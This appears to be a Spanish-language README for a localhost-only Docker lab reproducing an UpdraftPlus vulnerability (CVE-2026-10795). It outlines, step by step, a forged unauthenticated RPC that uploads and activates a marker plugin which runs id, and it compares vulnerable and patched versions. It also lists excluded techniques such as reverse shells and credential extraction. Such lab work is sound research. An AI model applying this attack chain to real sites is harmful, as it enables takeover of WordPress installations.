No utilice credenciales reales, secretos de producción ni objetivos externos en este laboratorio.
El PoC está intencionalmente limitado a servicios Docker locales como:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
El PoC rechaza objetivos no locales por defecto.
El complemento marker no implementa un parámetro genérico de ejecución de comandos. Solo expone un endpoint de prueba local codificado que ejecuta `/usr/bin/id`.
Este laboratorio no incluye:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
El objetivo es demostrar una condición técnica específica en un entorno controlado:```text unauthenticated forged RPC
## Referencias
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Base de datos de vulnerabilidades de Wordfence: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Base de datos de Patchstack: UpdraftPlus
https://patchstack.com/database/
* Plugin de WordPress.org: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* SVN del plugin de WordPress.org
https://plugins.svn.wordpress.org/updraftplus/
* Etiquetas SVN del plugin de WordPress.org
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: Hoja de referencia de autenticación
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Guía de pruebas de seguridad web
https://owasp.org/www-project-web-security-testing-guide/
| Comportamiento del PoC | Comportamiento de la fuente que se prueba | Esperado en 1.26.4 | Esperado en 1.26.5 |
|---|
Enviar POST con format=1 | El listener acepta el formato RPC heredado | Continúa | Continúa a la comprobación de descifrado parcheada |
| Omitir firma válida | La comprobación de firma solo se aplica a format >= 2 | Firma no requerida | Firma no requerida para format=1, pero bloqueada después |
| Enviar bloque RSA no válido | El descifrado RSA devuelve una clave simétrica no válida | La clave no válida llega a setKey() | La clave no válida se rechaza |
| Cifrar JSON con clave nula/IV nulo | Modela el comportamiento de respaldo de phpseclib después de setKey(false) | Descifra a JSON válido | No descifra |
Establecer command=ping | Prueba solo el bypass criptográfico y el despacho | PING DISPATCHED | PING NOT DISPATCHED |
Establecer command=plugin.upload_plugin | Llama al método de carga de plugins de UpdraftCentral | ZIP del plugin instalado | El comando no se alcanza |
Establecer activate=true | Ejecuta activate_plugin() después de la instalación | Plugin marcador activo | Plugin marcador ausente |
Solicitar /wp-json/cve-lab/v1/id | Comprueba si el código del plugin marcador se está ejecutando | Devuelve uid=33(www-data) | Devuelve 404 rest_no_route |
| Service | Componente | Versión / Rol |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 objetivo vulnerable |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 objetivo parcheado |
vuln_db | MariaDB | Base de datos para el objetivo vulnerable |
patched_db | MariaDB | Base de datos para el objetivo parcheado |
vuln_setup | WP-CLI setup service | Instala WordPress, activa UpdraftPlus, inicializa el estado de la clave local |
patched_setup | WP-CLI setup service | Instala WordPress, activa UpdraftPlus, inicializa el estado de la clave local |